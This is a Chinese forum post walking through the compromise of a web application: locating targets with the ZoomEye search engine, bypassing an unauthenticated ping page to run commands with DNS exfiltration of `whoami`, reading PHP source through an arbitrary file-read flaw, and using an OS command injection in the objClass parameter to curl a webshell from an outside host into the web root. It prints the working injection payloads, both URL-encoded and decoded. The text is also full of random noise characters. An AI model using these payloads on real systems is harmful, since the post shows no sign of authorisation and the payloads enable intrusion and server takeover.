中国网络渗透测试联盟
标题:
Web安全之实战通过os命令注入漏洞getwebshell
[打印本页]
作者:
admin
时间:
2022-3-31 01:39
标题:
Web安全之实战通过os命令注入漏洞getwebshell
[md]**一、
* {1 g1 J. I+ z7 u/ ^
** **寻找突破口**
, Y, M; M$ b& }1 t5 n; k- z. T, k
% }) r- N8 ~5 Z/ c9 ?: d7 u2 k
**经过右键查看源代码发现系统的特征为:images/select_bg.png,去钟馗之眼搜索如图:**
' U$ P+ W! r" a$ A3 |
5 O' R4 q; }4 N' ~: g

5 ~' J W) N9 a1 k
6 z* J7 A9 G; o( D
& P1 m, i0 n6 b3 S$ S6 i
* n, y, q: b& `+ A
**发现reporter和[Technology,
1 R7 R+ x. I$ P! _% d. R/ \' S
Inc.](
https://www.zoomeye.org/searchRe ... title:%22Technology
,%20Inc.%22&t=all)都采用这个特征,然后一看之前搞过这样的系统,有源代码,对照源代码目录发现了未授权访问页面。**
+ J o- P: |" K% L! } X9 x4 [
) u6 a4 B" a$ e. o% @" i: D) O
**地址为:**
7 f, o7 Y$ U- d% X! o% ]" B' r: {7 ^, c
( [5 Y( T+ ^9 s
[
http://1.1.1.1//view/systemConfi ... ;text_packetsize=64
](
http://1.1.1.1/view/systemConfig ... ;text_packetsize=64
)**,如图:**
A( Z% w' L" l7 h& ?
- }3 Z9 m% S3 _$ T: m6 s1 p

- {4 o# U9 t" D* j
$ W6 s/ `/ [4 p) U! |
# e: d8 x& V0 h( _
2 G' {. `+ ~* i
**测试ping这里的功能,发现可以绕过ping正常功能执行命令,payload为:**
2 e4 u, u3 q5 [/ T* t0 {! z8 |
5 ~9 U7 d) J1 |4 Y' s. N+ y8 I8 ?
**`whoami`.1111.ceye.io** **,如图:**
$ f, G5 h! K" v1 F
3 C d4 W, s- i# D

1 `3 Y1 r% W+ B9 {" V2 N `
8 H% |2 O: ?7 h# s, e' w- g
. k; Q0 ?- n; C6 u& `" N
6 W$ V7 d' \0 V& i% w$ t0 R Y
**返回dns记录如图:**
) s" J" _5 C; q$ s# m
6 U; b/ ?) X Y! `4 B$ t& X. d

3 b0 | G) [/ b. [9 i9 s
- E: h9 E1 V; c4 H0 d
/ R3 _! w( Y; _% p
+ E0 m' v9 [, b; a3 j6 e5 E
**发现当前用户权限为root**
5 b. ?* t# j0 Y" C8 ~2 v/ s
, }# z# R! t" O1 j8 D, Q
**一、
7 O- @# T% n1 d! B
** **通过漏洞组合getwebshell**
7 h6 X- q! h- `
& e! C- c, c* t! e
** ** **文章就按照挖洞顺序往下写,紧接着执行pwd命令获取web路径,如图:**
1 ^# t* e9 Y! {& g
+ V# J% s5 ^ M* L

' ^5 _5 M, _0 B
2 H5 M9 D" L# P3 U! l
9 X) V6 W- C+ {* j, _
/ E+ q' T- b; c5 S! \. r! m
**得知网站路径为:/var/www/html/view/systemconfig/systemtool/**
4 _" H) S! `! g# l# Y9 A
8 R4 N. ?/ y& }0 I1 w9 h+ |, c1 X
**正好利用burpsuite发现一处os命令注入漏洞与一处任意文件查看漏洞,如下图为任意文件查看漏洞截图**
, M! P& t7 U- G$ ]8 D
4 i# t) i" q$ V( ?

/ @- |2 b- M9 } w {3 T
' @/ L: K- v8 g4 S1 g( a
**Os** **命令注入存的处为:/var/www/html/view/Behavior/toQuery.php,这个路径是通过第一步绕过ping命令正常功能执行命令漏洞获取到的,通过任意文件查看漏洞,我们读取一下源代码**
7 U/ P% [9 ]# {/ M+ f g' j
" B+ J$ Z( c( _# W4 f
\
7 M- b) j8 S* N9 ]2 z
7 R# A" E' V6 r+ f0 f: {6 w u9 D
0 D( q- s& Q8 _
**源代码为:**
3 ^7 L* L) {; h# R7 @
- ~0 g# Z' {. h
<?php
7 o. U" l/ o' ~9 G6 X# b( D
include_once($_SERVER["DOCUMENT_ROOT"]."/model/charFilter.php");
8 j1 t- L/ _8 u @
?>
- G: S* r( F0 x/ _. v" v% {( ^
( ` V& v( _. c* }
<?php
/ }% e/ L9 m2 E% C* Q
5 b O( N6 `' q# L p2 m
4 a" D2 Y/ h0 g" O9 k1 f
* ` j; L- c4 P$ e2 \0 i' K$ X
session_start ();
t3 u! @4 `- r7 F
' `0 E8 S! w) Y* H% v$ D
6 X1 L$ V5 o( Q6 s) [2 G
: J: R U$ Z; a0 i) Z, p
7 |: t: ^/ z% t' k1 d1 B% i
! J: r( \. o( l( q
+ e2 J+ d, J6 B D
B) @' a3 W% [; H$ d- k% ~) u
if ($_GET ["objClass"] == "")
) C! b& J7 H( }( Q# ]& `3 E
6 V; }* n2 n" D$ P U) X% p& U) ?
8 x% x6 L- J# D6 s
) I6 D2 |9 t+ J9 W- |
exit ();
& C5 x0 T5 [5 O, s$ J+ ~
; A; m- u- j4 ~5 q' i7 G
9 X6 C3 S) D, e( q% g0 X
( T( M/ p; o$ H, l/ ^8 z
$param = $_REQUEST;
% g9 G9 _6 D( D' |5 a
4 d: [. @- S7 g+ n$ U. E `+ |
8 x) W! s) L) y$ z- [
. {* h% Q, }2 \3 [
8 o" F* ~* h% n' m3 }: K
7 R# o: p+ t5 z/ q1 R; k
7 |9 H& Y$ F! X6 v2 \* ^
) g% L4 R$ U G3 Y3 ?
//echo "\n--------------------------\n";
6 c' l' n- Y( s, ?; G) k$ V. z2 n
% p6 f) F7 Y9 T+ x- o! x
, [) A. P( F9 B0 E
" i* i3 i4 Q: O3 s! S. U
//print_r($param);
" T( t6 l' C# Y0 s2 c
& a" B. e x! N7 S. ^! G9 Q, ]7 v9 v
( w! Q# w8 J3 h3 ?
3 C; `8 A9 _1 Z3 `- m8 e
//echo "\n--------------------------\n";
$ ~4 X) ^3 P* o, N# S
N" B, @' o0 Z9 G. L9 W& q, M
+ L* h1 T* ]4 C3 H* t1 |
% B, J+ o/ V' ?
[if ($_GET ["method"] ==
( b9 t. V P- v8 c0 O
"getList" || $_GET ["method"] == "import" ||
* `- O: r! ]( W5 j; p! o& Y$ u
$_GET ["method"] == "processAlarm") ](){
. ]" Z+ ~0 a, M- l: ~3 Q3 E8 T# h+ c
" @5 G, M, o& A z" t0 d' J
( G6 g7 n/ t: R1 E/ S
, E& J) u3 R: D0 i
$param
8 s, \$ Y, O+ r' i5 z+ `8 ~% I
["user"] = $_SESSION ["s_userName"];
7 V5 C) U& a% J
, T2 \8 i) {% w6 `
) _1 Q% f3 P8 _2 a; ?: L1 P
+ Q( [# c. Q% o4 X# V* y
$param
; i% h2 d' z) Q* e; W4 m
["lan"] = $_SESSION ["lan"];
# c: y- {8 h( Z3 r9 i
9 U# s5 e9 W3 o/ a8 d, C; |
0 |* n i+ A: H7 ~
' ^' _! h3 G. X
$param
# t6 h2 H: Q, Y; V6 H, G
["regUserpath"] = $_SESSION ["regUserpath"];
# \. @! _) O! l. j5 {3 @/ r3 X" a
( |- M8 m# E5 V3 V$ x
' n$ b6 f7 u) i
/ o5 m1 R4 {! [+ A8 _
: E' |, q$ L. Z
% N2 q# h' @2 M. x. b
5 `. |( G! s6 ~6 K8 X8 u# \9 g6 g
& Z; d8 r& _/ \' l
exec (
% H( ^; j! O5 }9 D0 R
"rm -rf /tmp/cache" );
3 k8 w1 }+ o( P4 i& n7 u W' X/ k
: S% Y. w4 b7 U9 H- ^5 _) N. m
& k, g5 A$ O/ U
9 A1 g+ l2 E6 g/ b' b" J
[$cmd = "/usr/local/php/bin/php ".$_SERVER
8 _+ q) x' m5 p" I$ t. t( Y; L
["DOCUMENT_ROOT"] . "system/behavior/behavior_query.php";]()
e- r) W% B4 c: K: G/ n; z
( q4 O; T3 ]$ T# W; ]7 r4 J t3 ]( Q
$ a0 _5 d5 r- ]
4 d, G {, Z& l0 ]) _4 u
$cmd .=
; w0 p8 Z" f9 s9 t
" " . $_GET ["objClass"];
' h# h. i d K1 w" b' w
$ Q8 e) ~: Q2 |0 [0 O' B" F
9 w' l( Z: U# i d/ m$ g
0 A) Z% |& P3 |. ^# L% z$ {0 {) j f, Z
$cmd .=
D/ L c- y7 E; f7 z
" " . $_GET ["method"];
5 }! [* F# Y3 n5 A# i/ A. y
( Z f1 f. Z% `8 E& a
- {* x' ?4 ^; D* Z
, \, S6 U( C5 G$ e7 `
$cmd .=
5 Q0 I5 W8 w2 D5 ^/ O4 ? b8 R1 E3 X8 U
" " . base64_encode ( json_encode ( $param ) );
2 [+ S- Q; M) C9 K4 z
+ i8 P1 a- f& |1 c/ I+ T& E1 f
s3 e8 G4 Q) p7 w2 C B. C* n
8 ], a5 I; g$ j$ o
[file_put_contents("/tmp/query_cmd",$cmd);]()
( {8 @5 _- j8 J& ^8 K8 O9 X7 K
$ D0 L* v3 ^1 s, A% S4 \4 J" `
( Z" N0 u0 l4 U. r" n6 T2 ^1 b
2 T6 { H4 w; V& ~$ e6 `
exec ( $cmd . "
5 w5 z& G4 J2 T+ I
> /dev/null &" );
6 o) l, [4 h$ a" p9 {8 T2 M
/ a8 \* K" m2 y
2 B/ l- E. P" q" {* g. w0 v& _, q5 s* V
; ]+ Z6 `: d. \; D
1 K' z$ ^. w9 O' {( v3 N9 E0 P
0 v% H# V; V5 n$ H$ g
} else {
' w" ^- E; p8 d7 `7 A; G- S
. h1 s+ q5 p. E9 ?; K2 I
* q) b5 D9 I5 Q/ y {6 A
6 O) `# X3 G3 Z& t' _* o& Y. N3 Z
require_once
9 s0 t4 q8 j3 \& C
($_SERVER ["DOCUMENT_ROOT"] . "system/behavior/behavior_Detail.php");
3 a2 M. E! w# L9 `
2 P. n3 ^% c9 ^- \ O7 A1 m
5 ]- ~2 s0 g8 ^2 R1 s
, v3 w+ T" L2 G6 E* R- Q9 d1 T% b1 G
$obj = new
: Q5 l6 `& ]1 c3 ?( y! Q
QueryInterface ();
6 m0 h. K/ h# a, j& a" B/ w
7 N/ H- T: t' e! `7 A' f& x
% y# s; U$ E2 E$ C% [+ y# q2 Z
9 a/ o' T8 {" h" f0 j" F8 g
$instance =
2 s/ D h% M% D# h7 E5 _3 t+ s: K
$obj->getInstance ();
0 G" w) p6 {. Q' b/ e+ M
# w: Y' Y5 R# h; s/ _2 s0 ]1 y3 y
% \! E6 H4 v) g { c5 r3 K* b, O
7 y/ U7 f4 W8 A k0 X3 G. n
$instance->invokeMethod
5 c5 B% }# X4 ]/ n* m
( $_GET ["objClass"], $_GET ["method"], $param );
( D( T4 ~- s# O8 U
Z9 G# h/ ?9 v# ~
0 @9 t+ ~$ Y# ?2 m3 t
# w- Q, G0 @: p4 ?; ?
}
+ _6 l; ~1 B4 Q* C! S- T
- ~; z& H3 W) ^; ]
' j0 V$ z- k* C$ u' O& q
, K5 F! h3 _1 z' ~
exit ();
9 B1 N) M. A, x" G; J
1 y/ K ?! j- v! Y! ^
6 F x6 n% `5 y/ h1 Z4 w& U* `1 M
$ t2 j% B5 v% c* @
?>
- u7 U: N/ z; b6 e; H
9 f1 P8 F9 s6 P( C6 i% Q7 @
**经常简单审计发现if ($_GET
9 }$ ? K! T; x4 l- m9 a1 N. d
["method"] == "getList" || $_GET ["method"] ==
( |6 f8 g1 P. s4 Z$ u: R. J- k+ D" X
"import" || $_GET ["method"] == "[processAlarm]()"),如果method只要等于getList、import、processAlarm这其中一个,$cmd =
9 [5 M$ ]; v+ s% M- Q1 Q, ?" s, x, z8 ^
"/usr/local/php/bin/php ".$_SERVER ["DOCUMENT_ROOT"] .
& P7 [* ?: S, @
"[system/behavior/behavior_query.php]()"; cmd等于web绝对路径+ system/behavior/behavior_query.php,然后file_put_contents("/tmp/query_cmd",$cmd);**
- }) V: Q$ B& u) p, e' `
+ O7 j2 x; [$ P1 E5 ^5 R
** exec ( $cmd
" M. w! h& n( b
. " > /dev/null &" );** **给我们构造了一个命令注入的参数,这里直接造成了OS命令注入漏洞,下面看我演示**
$ _ T5 b; N( d
$ ~; C+ \: e0 B
2 k+ \4 B& P# v: p( f2 W+ c3 ]

9 F/ b" N3 z+ n8 `& p4 q& N+ ]9 w
) P0 O5 _5 V+ a2 z3 d
/ n. \4 m: F2 X+ f# w1 j, `
5 e% U" z( g8 b! H: Y7 D/ F8 n
**图中objClass=存在OS命令注入漏洞,我之前试图通过bash反弹shell,但是测试了一晚上没反弹成功,最后选择了curl下载webshell,payload如下:**
4 A7 G& p( l6 @* y1 Q/ z% l7 I z
( U9 ?" k: S; L& b; C# q) ^$ h
**%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60pcurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%27%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60curl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%5C%22%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php**
0 {/ T5 B0 e( N- y
; S9 _- s) D' u. W6 J' R# k' b: M d
**我们用url解码如下:**
9 @2 }+ e( W- @( v/ x1 e+ G
; t$ w! I9 i& j8 r# H
**|curl
http://1.1.1.1/qYCwxRz1.zip
-o
( o- S$ d2 M# o/ C, \8 b k; e9 s
/var/www/html/images/suiji2.php||`pcurl
http://1.1.1.1/qYCwxRz1.zip
-o /var/www/html/images/suiji2.php` #' |curl
http://1.1.1.1/qYCwxRz1.zip
-o
6 @. @ ^5 `1 ?
/var/www/html/images/suiji2.php||`curl
http://1.1.1.1/qYCwxRz1.zip
-o /var/www/html/images/suiji2.php` #\" |curl ** [**
http://1.1.1.1/qYCwxRz1.zip
-o /var/www/html/images/suiji2.php**](
http://8.136.218.186/qYCwxRz1.zi ... l/images/suiji2.php
)
7 S0 ~0 y- R! z: k ?5 }8 }% ~1 e
, U W1 X: ~1 n8 z$ v- F
**使用这么多管道符|就是要闭合payload,最后成功curl下载webshell如图:**
5 M& v4 D. A% Z/ p4 m% y5 q
6 b6 |8 f1 F7 L1 i. ]7 m, t
! {" u5 M( [# z8 \* M D9 C

0 ?) T% p) { U. s3 W5 I) m" W0 k
: e" Z4 ]: q A7 J) u
1 t) O# K- o# Z& y' |: {- ?
4 Z4 D3 D* R) j! U
" x, x( u' E6 n" u
**三、总结**
9 V2 h6 O) r; T. o5 i$ D
& ^8 ]( Z3 L, c* \* v' I1 f( _5 t& `) ]
** ** **案例之所以最终获得webshell,很大程度上是取决于几个漏洞的组合,首先通过右键查看源代码找到目标系统使用的系统,因为之前测试过与目标类似的程序。然后“对症下药”找到了ping未授权访问页面,通过绕过ping命令正常功能执行pwd命令获取到网站绝对路径,其次,使用任意文件查看漏洞去读取疑似存在os命令执行漏洞的php进行简单审计,经过确认存在此漏洞,最后构造os命令执行payload,最终getwebshell,整个getwebshell过程就是一个漏洞的连环组合,渗透更多的时候是靠运气,如果这几个环节有一个环节漏洞不存在或者没挖到,可能导致getwebshell失败。**
+ `1 w) ^, _- L1 u
0 @9 L! x" L" S4 _- Z
** ** **综上所述,运气与挖洞功底同等重要,谢谢观看** **! **
]- @* H& P' b$ z5 D2 i' [
[/md]
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2